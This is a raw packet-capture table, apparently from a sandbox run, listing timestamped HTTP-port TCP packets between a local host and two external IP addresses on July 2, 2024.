Jul 2, 2024 15:26:11.823750019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:11.823848009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:11.823889971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:11.826812029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:11.831573009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:12.012418985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:12.012533903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:12.031389952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:12.036441088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:12.747488976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:12.747636080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:12.775409937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:12.780437946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:13.501097918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:13.501187086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:13.504401922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:13.509181023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:13.509265900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:13.509376049 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:13.514090061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.225807905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.225842953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.225872993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.225883007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.225900888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.225910902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.225914955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.225922108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.225934029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.225945950 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.225989103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.226597071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.226613998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.226655006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.226677895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.230679035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.230731010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.230747938 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.230770111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.230873108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.230915070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.348176003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.348201990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.348231077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.348242998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.348258972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.348395109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.348411083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.348412037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.348444939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.348455906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.348500967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.348500967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.348500967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.348512888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.348525047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.348566055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.348566055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.349219084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.349230051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.349247932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.349284887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.349288940 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.349288940 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.349297047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.349328995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.349355936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.349355936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.349500895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.350081921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.350092888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.350110054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.350147009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.350147009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.350162983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.350173950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.350191116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.350229979 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.350229979 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.350991011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.352507114 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.353317022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.353508949 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.353833914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.354588985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.470243931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.470259905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.470278025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.470297098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.470324039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.470366955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.470417023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.470417023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.470441103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.470534086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.470544100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.470561028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.470567942 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.470567942 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.470572948 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.470590115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.470602036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.470604897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.470604897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.470618010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.470635891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.470735073 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.470951080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.470982075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.470994949 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.471014977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.471014977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.471026897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.471040964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.471060038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.471060038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.471198082 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.471352100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.471393108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.471405983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.471426010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.471426010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.471484900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.471498013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.471513987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.471520901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.471520901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.471539974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.471554041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.471558094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.471558094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.471570969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.471592903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.471592903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.471698999 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.472120047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.472131014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.472148895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.472196102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.472196102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.472208023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.472224951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.472242117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.472254992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.472264051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.472294092 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.472294092 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.472296000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.472307920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.472323895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.472336054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.472351074 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.472351074 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.472500086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.473041058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.473051071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.473067999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.473094940 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.473114014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.473124027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.473140955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.473151922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.473151922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.473150969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.473201990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.473215103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.473225117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.473225117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.473253012 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.473253012 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.475163937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.475187063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.475223064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.475256920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.475256920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.592645884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.592688084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.592700005 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.592725992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.592725992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.592782974 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.592828035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.592839956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.592859983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.592873096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.592875957 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.592875957 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.592885971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.592896938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.592902899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.592905998 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.592905998 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593009949 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593170881 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593183041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593202114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593219995 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593220949 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593239069 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593286037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593300104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593311071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593329906 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593336105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593341112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593348980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593364000 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593369961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593389034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593390942 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593390942 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593425989 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593425989 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593571901 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593621016 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593681097 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593693018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593709946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593719959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593738079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593745947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593745947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593748093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593794107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593794107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593827009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593837976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593856096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593866110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593880892 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593880892 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593885899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593902111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593921900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593921900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593941927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593952894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593971968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.593976021 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593982935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.593987942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594012022 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594012022 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594017982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594049931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594060898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594072104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594072104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594109058 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594109058 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594137907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594149113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594162941 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594180107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594181061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594207048 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594207048 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594249010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594260931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594274998 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594275951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594295025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594305038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594305992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594310999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594338894 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594391108 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594466925 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594508886 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594527960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594540119 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594578028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594578028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594609976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594620943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594640017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594657898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594657898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594660044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594683886 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594734907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594746113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594760895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594769955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594769955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594777107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594790936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594801903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594801903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594804049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594820023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594830036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594844103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594844103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594851017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.594897985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.594897985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.597613096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.597656012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.597682953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.597688913 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.597688913 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.597697973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.597712994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.597726107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.597733974 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.597733974 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.597759962 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.597764015 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.597764015 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.597770929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.597794056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.597805023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.597812891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.597812891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.597822905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.597841978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.597841978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.597898006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.597903013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.597913980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.597929955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.597954035 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.597954035 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.597996950 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.598083973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.598094940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.598114014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.598133087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.598133087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.598148108 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.598165989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.598176956 CEST	80	49731	77.91.77.81	192.168.2.4
